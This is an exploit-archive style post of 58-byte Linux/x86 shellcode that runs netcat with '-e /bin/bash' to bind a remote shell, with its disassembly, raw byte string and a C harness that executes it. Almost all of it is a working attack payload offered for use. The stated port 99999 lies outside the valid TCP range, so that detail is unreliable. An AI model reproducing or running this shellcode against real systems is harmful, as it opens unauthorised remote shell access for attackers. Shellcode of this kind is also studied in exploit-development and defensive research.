/*
# Exploit Title: Linux/x86 - execve /bin/nc -lp99999 -e /bin/bash shellcode (58 bytes)
# Exploit Description: Binds a TCP bash shell at port 99999 using netcat. Note: This shellcode   uses netcat-traditional package. Otherwise, it will not work.
# Date: 04/11/2018
# Exploit Author: Javier Tello <jtelloal@gmail.com>
# Version: 1.0
# Tested on: i686 GNU/Linux
# Shellcode Length: 58 Bytes
 
 
Disassembly of section .text:
  
08048060 <_start>:
 8048060:   31 c0                   xor    %eax,%eax
 8048062:   50                      push   %eax
 8048063:   68 6e 2f 6e 63          push   $0x636e2f6e
 8048068:   68 2f 2f 62 69          push   $0x69622f2f
 804806d:   89 e3                   mov    %esp,%ebx
 804806f:   50                      push   %eax
 8048070:   68 62 61 73 68          push   $0x68736162
 8048075:   68 62 69 6e 2f          push   $0x2f6e6962
 804807a:   68 2d 65 2f 2f          push   $0x2f2f652d
 804807f:   89 e2                   mov    %esp,%edx
 8048081:   50                      push   %eax
 8048082:   68 39 39 39 39          push   $0x39393939
 8048087:   68 2d 6c 70 39          push   $0x39706c2d
 804808c:   89 e6                   mov    %esp,%esi
 804808e:   50                      push   %eax
 804808f:   52                      push   %edx
 8048090:   56                      push   %esi
 8048091:   53                      push   %ebx
 8048092:   89 e1                   mov    %esp,%ecx
 8048094:   89 c2                   mov    %eax,%edx
 8048096:   b0 0b                   mov    $0xb,%al
 8048098:   cd 80                   int    $0x80
 
===============poc by Javier Tello=========================
*/
  
#include<stdio.h>
#include<string.h>
  
unsigned char code[] = \
 
"\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2d\x65\x2f\x2f\x89\xe2\x50\x68\x39\x39\x39\x39\x68\x2d\x6c\x70\x39\x89\xe6\x50\x52\x56\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";
  
main() {
  
    printf("Shellcode Length: %d\n", strlen(code));
  
    int (*ret)() = (int(*)())code;
  
    ret();
  
}